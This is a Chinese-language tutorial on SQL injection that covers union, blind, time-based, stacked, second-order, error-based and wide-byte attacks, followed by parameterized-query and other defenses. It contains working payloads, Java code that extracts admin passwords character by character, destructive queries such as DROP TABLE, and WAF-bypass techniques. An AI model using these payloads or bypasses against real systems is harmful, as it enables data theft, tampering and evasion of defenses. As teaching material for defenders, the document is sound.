SQL 注入详解
什么是 SQL 注入
SQL 注入(SQL Injection)是一种将恶意 SQL 代码拼接到应用程序的数据库查询语句中,从而操控后端数据库执行非授权操作的攻击手法。其根本原因是应用程序在构建 SQL 语句时,未对用户输入进行充分的校验或转义,直接将不可信数据与 SQL 代码拼接,导致攻击者可以打破开发者预期的 SQL 语句结构。
原理
正常情况下,应用程序通过拼接字符串构造 SQL:
// 漏洞代码:直接拼接用户输入
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);当用户输入 admin' OR '1'='1 时,SQL 语句变为:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'恒真条件 '1'='1' 使查询返回所有用户记录,攻击者即可越权访问数据。
联合查询注入(Union Based)
联合查询注入利用 SQL 的 UNION 运算符将攻击者构造的查询结果合并到正常结果集中,从而直接获取数据库中的数据。
前提条件
- 页面能直接显示查询结果。
- 攻击者需要知道原查询的列数(通过
ORDER BY或NULL试探)。
判断列数
' ORDER BY 1 --+ # 正常
' ORDER BY 2 --+ # 正常
' ORDER BY 3 --+ # 正常
' ORDER BY 4 --+ # 报错 → 列数为 3获取数据库信息
' UNION SELECT 1,2,3 --+
-- 页面显示 2 和 3 的回显位,则利用回显位查询
' UNION SELECT 1,database(),version() --+Java 示例(模拟攻击)
// 攻击者构造的输入
String input = "1' UNION SELECT id, username, password FROM users --+";
String sql = "SELECT name, email, phone FROM members WHERE id = '" + input + "'";
// 执行后返回 members 表数据 + users 表的凭据布尔盲注(Boolean Blind)
当页面不直接返回数据库内容,但会根据 SQL 条件返回不同的页面状态(如"存在"与"不存在"、HTTP 200 与 404)时,可利用布尔盲注逐字符推断数据。
原理
通过构造布尔条件,观察页面响应差异来"猜解"数据。
' AND 1=1 --+ # 页面正常(True)
' AND 1=2 --+ # 页面异常(False)猜解数据库名
' AND LENGTH(database()) = 4 --+ # 数据库名长度为 4 → True
' AND SUBSTRING(database(),1,1) = 't' --+ # 第一个字符是 t
' AND SUBSTRING(database(),2,1) = 'e' --+ # 第二个字符是 e
-- 逐字符猜解,最终得到 "test"Java 代码示例
// 盲注检测逻辑
public boolean checkCondition(String condition) {
String payload = "1' AND " + condition + " --+";
String sql = "SELECT * FROM articles WHERE id = '" + payload + "'";
try {
ResultSet rs = stmt.executeQuery(sql);
return rs.next(); // 有结果 → True
} catch (Exception e) {
return false; // 报错 → False
}
}
// 逐位猜解密码
String target = "";
for (int pos = 1; pos <= 32; pos++) {
for (char c : HEX_CHARS) {
if (checkCondition("SUBSTRING((SELECT password FROM admin LIMIT 1)," + pos + ",1) = '" + c + "'")) {
target += c;
break;
}
}
}时间盲注(Time Blind)
当页面完全没有可见差异(无论 SQL 真假都返回相同页面)时,利用数据库中的延时函数制造时间差,通过响应时间推断条件真假。
原理
' AND IF(1=1, SLEEP(3), 0) --+ # 延时 3 秒 → True
' AND IF(1=2, SLEEP(3), 0) --+ # 立即响应 → FalseMySQL 延时函数
SLEEP(n):MySQL 5.0+ 延时 n 秒BENCHMARK(n, expr):重复执行表达式 n 次,消耗 CPU 产生延时
' AND IF(SUBSTRING((SELECT password FROM admin LIMIT 1),1,1)='a', SLEEP(2), 0) --+Java 代码示例
public long timedQuery(String payload) {
long start = System.currentTimeMillis();
String sql = "SELECT * FROM articles WHERE id = '" + payload + "'";
try {
stmt.executeQuery(sql);
} catch (Exception ignored) {}
return System.currentTimeMillis() - start;
}
// 使用
if (timedQuery("1' AND IF(LENGTH(database())=4, SLEEP(2), 0) --+") >= 2000) {
// 数据库长度为 4
}堆叠查询注入(Stacked Queries)
堆叠查询利用数据库允许一次执行多条语句的特性,在原始查询后通过分号 ; 追加任意 SQL 语句。
关键点
- 仅部分数据库驱动支持(PHP 的
mysqli_multi_query()、Java 的某些配置)。 - 可以执行增删改查,危害极大。
1'; DROP TABLE users; --+
1'; INSERT INTO logs(message) VALUES('pwned'); --+
1'; UPDATE admin SET password='hacked' WHERE id=1; --+Java 场景
// 需要启用 allowMultiQueries=true
// jdbc:mysql://localhost:3306/db?allowMultiQueries=true
String input = "1'; DELETE FROM access_log WHERE 1=1 --+";
String sql = "SELECT * FROM products WHERE id = " + input;
stmt.executeQuery(sql);
// access_log 表被清空注意:多数现代连接池默认禁用多语句执行,这是重要的防御层。
二阶注入(Second Order)
二阶注入不直接在第一次请求时注入,而是将恶意数据存入数据库,后续操作读取该数据并拼接到 SQL 中时触发注入。
攻击流程
- 存储阶段:攻击者注册用户名为
admin'--的账户。 - 触发阶段:管理员在后台查看或操作该用户时,应用程序将用户名拼接到 SQL 中。
-- 第一阶段(注册)—— 数据库转义了引号,SQL 正常
INSERT INTO users(username, password) VALUES('admin\'--', 'pass123');
-- 存储到数据库中的用户名实际为: admin'--
-- 第二阶段(管理员查看用户详情)
SELECT * FROM users WHERE username = 'admin'--'
-- 实际执行的 SQL: SELECT * FROM users WHERE username = 'admin'
-- '--' 将后续条件注释掉,越权查看 admin 信息Java 代码示例
// 第一阶段:注册(使用了过滤但未完全处理)
String username = request.getParameter("username");
String sql = "INSERT INTO users(username) VALUES('" + username.replace("'", "\\'") + "')";
stmt.execute(sql);
// 第二阶段:修改密码(读取并对用户名拼接)
String sql2 = "UPDATE users SET password='newpass' WHERE username='" + savedUsername + "'";
// 若 savedUsername = admin'--,则等价于:
// UPDATE users SET password='newpass' WHERE username='admin'
// admin 用户的密码被重置!报错注入(Error Based)
当应用程序将数据库错误信息直接回显给用户时,可利用报错函数在错误消息中携带数据。
MySQL 常用报错函数
extractvalue()
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM admin LIMIT 1), 0x7e)) --+
-- 错误信息: XPATH syntax error: '~admin123~'updatexml()
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT database()), 0x7e), 1) --+
-- 错误信息: XPATH syntax error: '~testdb~'floor() + rand() + group by
' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES GROUP BY CONCAT(FLOOR(RAND()*2), (SELECT password FROM admin LIMIT 1))) --+
-- 利用主键冲突将数据带出到错误信息中Java 场景
String input = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database()), 0x7e)) --+";
String sql = "SELECT * FROM products WHERE id = '" + input + "'";
stmt.executeQuery(sql);
// 异常堆栈中会暴露表名列表宽字节注入
宽字节注入主要发生在使用 GBK/GB2312 编码的 MySQL 数据库中。当程序使用 addslashes() 或类似函数转义单引号时,会在 ' 前加反斜杠 \'。攻击者利用编码特性"吞掉"反斜杠,使单引号逃逸。
原理
GBK 编码中,%df 与 \(%5c)组合 %df%5c 会被解析为一个合法的中文字符"運"。
攻击者输入: %df' → 被转义为: %df%5c%27
服务器解码: %df%5c → "運" → 剩下的 %27 → '
最终 SQL: ... WHERE name='運' OR '1'='1'Java 示例
// 设置连接为 GBK 编码
String url = "jdbc:mysql://localhost:3306/db?characterEncoding=GBK";
String input = "ユ' OR 1=1 --+"; // %df'
String escaped = input.replace("'", "\\'");
String sql = "SELECT * FROM users WHERE name = '" + escaped + "'";
// 实际执行: SELECT * FROM users WHERE name = 'ユ\' OR 1=1 --+'
// 由于编码问题,反斜杠被"吃掉"了修复方法
- 统一使用 UTF-8 编码。
- 使用预编译(PreparedStatement)而非转义函数。
// 正确做法
String url = "jdbc:mysql://localhost:3306/db?characterEncoding=UTF-8";
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
ps.setString(1, userInput);预编译 / 参数化查询防御
预编译(PreparedStatement)是防御 SQL 注入最有效的手段。它将 SQL 语句的结构与参数分离,数据库先编译 SQL 模板,再将参数视为纯数据而非 SQL 代码。
正确用法
// 安全的预编译查询
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, username); // 用户输入当作数据
ps.setString(2, password); // 用户输入当作数据
ResultSet rs = ps.executeQuery();为何有效
即使参数包含 ' OR '1'='1,数据库也仅将其视为字符串字面量,不会参与 SQL 解析:
String username = "admin' OR '1'='1";
ps.setString(1, username);
// 最终效果等同于查询: SELECT * FROM users WHERE username = "admin' OR '1'='1"
// 仅匹配用户名字段中包含该字符串的记录,不会改变结构不同语言中的实现
| 语言 / 框架 | 实现方式 |
|---|---|
| Java (JDBC) | PreparedStatement + ? 占位符 |
| Java (MyBatis) | #{} 语法(${} 仍存在注入风险) |
| PHP (PDO) | PDO::prepare() + 命名占位符 |
| Python | cursor.execute(sql, params) |
| Node.js (mysql2) | ? 占位符传参 |
| Go | database/sql 的 ? 或 $1 占位符 |
| C# | SqlCommand + @ 参数前缀 |
MyBatis 注意事项
<!-- 安全:#{} 使用预编译 -->
<select id="getUser" resultType="User">
SELECT * FROM users WHERE id = #{id}
</select>
<!-- 危险:${} 直接拼接,导致注入 -->
<select id="searchUser" resultType="User">
SELECT * FROM users WHERE name LIKE '%${name}%'
</select>
<!-- 安全写法 -->
<select id="searchUser" resultType="User">
SELECT * FROM users WHERE name LIKE CONCAT('%', #{name}, '%')
</select>WAF 绕过常见手法
Web 应用防火墙(WAF)通过检测恶意 Payload 模式来阻断攻击。以下是常见的绕过手法。
内联注释
MySQL 支持 /*!*/ 内联注释语法,WAF 可能忽略注释内容而 MySQL 会执行。
/*!union*/ /*!select*/ 1,2,3
' UNION /*!12345SELECT*/ 1,2,3 --+编码绕过
URL 编码
# 双重 URL 编码
%27 → %2527 # ' 的二次编码
%2575%256e%2569%256f%256e → unionUnicode 编码
# MySQL 支持部分 Unicode 编码
' UNION SELECT 1,2,3 --+
# 将 SELECT 中的 e 替换为 Unicode 变体Hex 编码
' UNION SELECT 1,0x61646d696e,3 --+ # 0x61646d696e = "admin"
' UNION SELECT 1,CHAR(97,100,109,105,110),3 --+HTTP 参数污染(HPP)
利用多个同名参数,WAF 和应用程序解析结果不一致。
GET /search?id=1&id=1' UNION SELECT 1,database(),3 --+- WAF 可能检查第一个
id=1(正常) - 应用可能取最后一个参数或合并参数
大小写混合
' UniOn SeLeCt 1,database(),3 --+空格与注释替代
# 使用 Tab、换行替代空格
' UNION/**/SELECT/**/1,2,3 --+
# 使用反引号包裹关键字
' UNION `SELECT` 1,2,3 --+函数与运算符替换
# 用 LIKE 替代 =
' UNION SELECT 1 FROM users WHERE username LIKE 'admin
# 用 IN 替代 =
' UNION SELECT 1 FROM users WHERE 'a' IN ('a')
# 用 XOR/NOT 替代 AND/OR
' OR '1'='1' AND '2'='2 → ' OR NOT('1'<>'1')缓冲区溢出
向 WAF 发送超长 Payload,导致 WAF 检测规则失效。
' UNION SELECT 1,'超长填充字符串...',3 --+防御最佳实践
1. 预编译 / 参数化查询(首要防线)
始终使用参数化查询,禁止拼接 SQL 字符串。
// ✅ 正确
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, id);
// ❌ 错误
Statement stmt = conn.createStatement();
stmt.executeQuery("SELECT * FROM users WHERE id = " + id);2. 输入验证
对所有用户输入进行白名单验证,而非黑名单过滤。
// 白名单验证
public boolean isValidUserId(String input) {
return input != null && input.matches("^[a-zA-Z0-9_]+$");
}
// 类型强校验
int id = Integer.parseInt(request.getParameter("id")); // 非数字直接抛异常3. 最小权限原则
数据库账户按需分配权限,Web 应用应使用权限受限的账号。
-- ❌ 不要使用 root 或 DBA 账户
GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'%';
-- ✅ 仅授予必要的表级权限
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webapp'@'localhost';
-- 禁止使用 DROP、ALTER、TRUNCATE 等 DDL 权限4. 存储过程
使用存储过程封装 SQL 逻辑,业务层只调用存储过程接口。
-- 创建安全存储过程
DELIMITER //
CREATE PROCEDURE GetUserById(IN userId INT)
BEGIN
SELECT * FROM users WHERE id = userId;
END //
DELIMITER ;// Java 调用存储过程
CallableStatement cs = conn.prepareCall("{CALL GetUserById(?)}");
cs.setInt(1, userId);
ResultSet rs = cs.executeQuery();5. 错误信息处理
禁止将数据库异常堆栈直接暴露给用户。
// ❌ 危险
try {
// SQL 操作
} catch (SQLException e) {
response.getWriter().write("数据库错误: " + e.getMessage()); // 泄露信息
}
// ✅ 安全
try {
// SQL 操作
} catch (SQLException e) {
logger.error("数据库查询异常", e); // 记录日志
response.setStatus(500);
response.getWriter().write("系统内部错误"); // 返回通用错误信息
}6. Web 应用防火墙(WAF)
作为纵深防御的一环部署 WAF,不应将其作为唯一防线。
- ModSecurity(开源 WAF)
- 云 WAF(阿里云 WAF、Cloudflare、AWS WAF)
- 自研规则引擎
7. 数据库编码统一
统一使用 UTF-8 编码,避免宽字节注入。
String url = "jdbc:mysql://localhost:3306/db?useUnicode=true&characterEncoding=UTF-8";8. 定期安全审计
- 使用静态分析工具(如 FindBugs、SonarQube)扫描代码中的 SQL 拼接。
- 使用渗透测试工具(如 SQLMap)测试线上环境。
- Code Review 重点关注数据访问层。
总结
SQL 注入是最经典也是危害最大的 Web 漏洞之一。虽然经过二十余年的安全建设,其基本防御手段(预编译)已非常成熟,但新漏洞仍层出不穷。核心原因包括:开发人员安全意识不足、遗留系统中存在拼接代码、ORM 框架中不当使用 ${} 等。
核心防御策略总结:
| 防御层 | 措施 | 优先级 |
|---|---|---|
| 代码层 | 预编译 / 参数化查询 | ★★★ 必须 |
| 代码层 | 输入白名单校验 | ★★★ 必须 |
| 架构层 | 最小权限原则 | ★★★ 必须 |
| 架构层 | 错误信息不泄露 | ★★★ 必须 |
| 架构层 | 统一 UTF-8 编码 | ★★☆ 推荐 |
| 加固层 | WAF 部署 | ★★☆ 推荐 |
| 流程层 | 代码审计 + 渗透测试 | ★★☆ 推荐 |
没有一种单一技术能完全防御 SQL 注入,纵深防御(Defense in Depth)才是最佳实践。
免责声明: 本文档仅用于安全技术交流与防御知识学习,禁止用于非法用途。